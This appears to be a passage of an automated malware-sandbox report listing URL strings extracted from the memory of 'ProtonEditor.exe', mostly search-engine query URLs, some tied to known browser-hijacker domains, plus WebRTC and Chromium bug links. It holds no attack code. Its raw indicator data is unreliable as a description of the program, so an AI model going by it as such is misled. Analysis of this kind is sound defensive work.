    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/favicon.icohttp://search.incredibar.com/search.php?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/search.php?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.snap.do/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.snapdo.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/img/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/img/favicon.icohttp://search.softonic.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/favicon.icohttp://search.sweetim.com/search.asp?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/search.asp?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/?ru=1&query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/favicon.icohttp://search.tut.by/?ru=1&query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.walla.co.il/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchatlas.centrum.cz/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/favicon.icohttp://searchfunmoods.com/results.php?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/results.php?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.iminent.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.iminent.com/StartWeb/1033/homepage/#q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/favicon.icohttp://start.sweetpacks.com/search.asp?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/search.asp?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.icohttps://hladaj.atlas.sk/fulltext/?p
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://szukaj.wp.pl/szukaj.html?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/favicon.icohttp://www.conduit.com/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delfi.lt/paieska/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delfi.lv/search_all/?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/favicon.icohttp://www.delta-search.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/api/suggestOS?suggestQuery=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/cgi-bin/otsing?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/favicon.icohttp://www.neti.ee/cgi-bin/otsing?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search-results.com/web?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search.delta-search.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search.delta-search.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/favicon.icohttp://www.searchnu.com/web?hl=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/web?hl=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.softonic.com.br/s/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.softonic.com/s/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.walla.co.il/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.walla.co.il/favicon.icohttp://search.walla.co.il/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/abs-capture-time
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/abs-send-time
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/generic-frame-descriptor-00
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/transport-wide-cc-02
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.yhs.delta-search.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.yhs.delta-search.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.zoznam.sk/hladaj.fcgi?s=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www1.delta-search.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www1.delta-search.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www2.delta-search.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www2.delta-search.com/home?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ac.search.naver.com/nx/ac?of=os&ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://alekberg.net/privacy
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://alekberg.net/privacyalekberg.net
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://aomediacodec.github.io/av1-rtp-spec/#dependency-descriptor-rtp-header-extension
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://api.oceanhero.today/suggestions?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://api.qwant.com/api/suggest/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/favicon.icohttps://ar.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/favicon.icohttps://at.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/favicon.icohttps://au.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/favicon.icohttps://br.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1178
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1178depth32float-stencil8Support
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1197
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1197shader-f16Supports
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1510
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1510rg11b10ufloat-renderableAllows
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1518
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1591
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=42
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=42texture-compression-etc2Support
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=434
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupport
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=551
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=690
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=690chromium-experimental-dp4aSupport
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=955
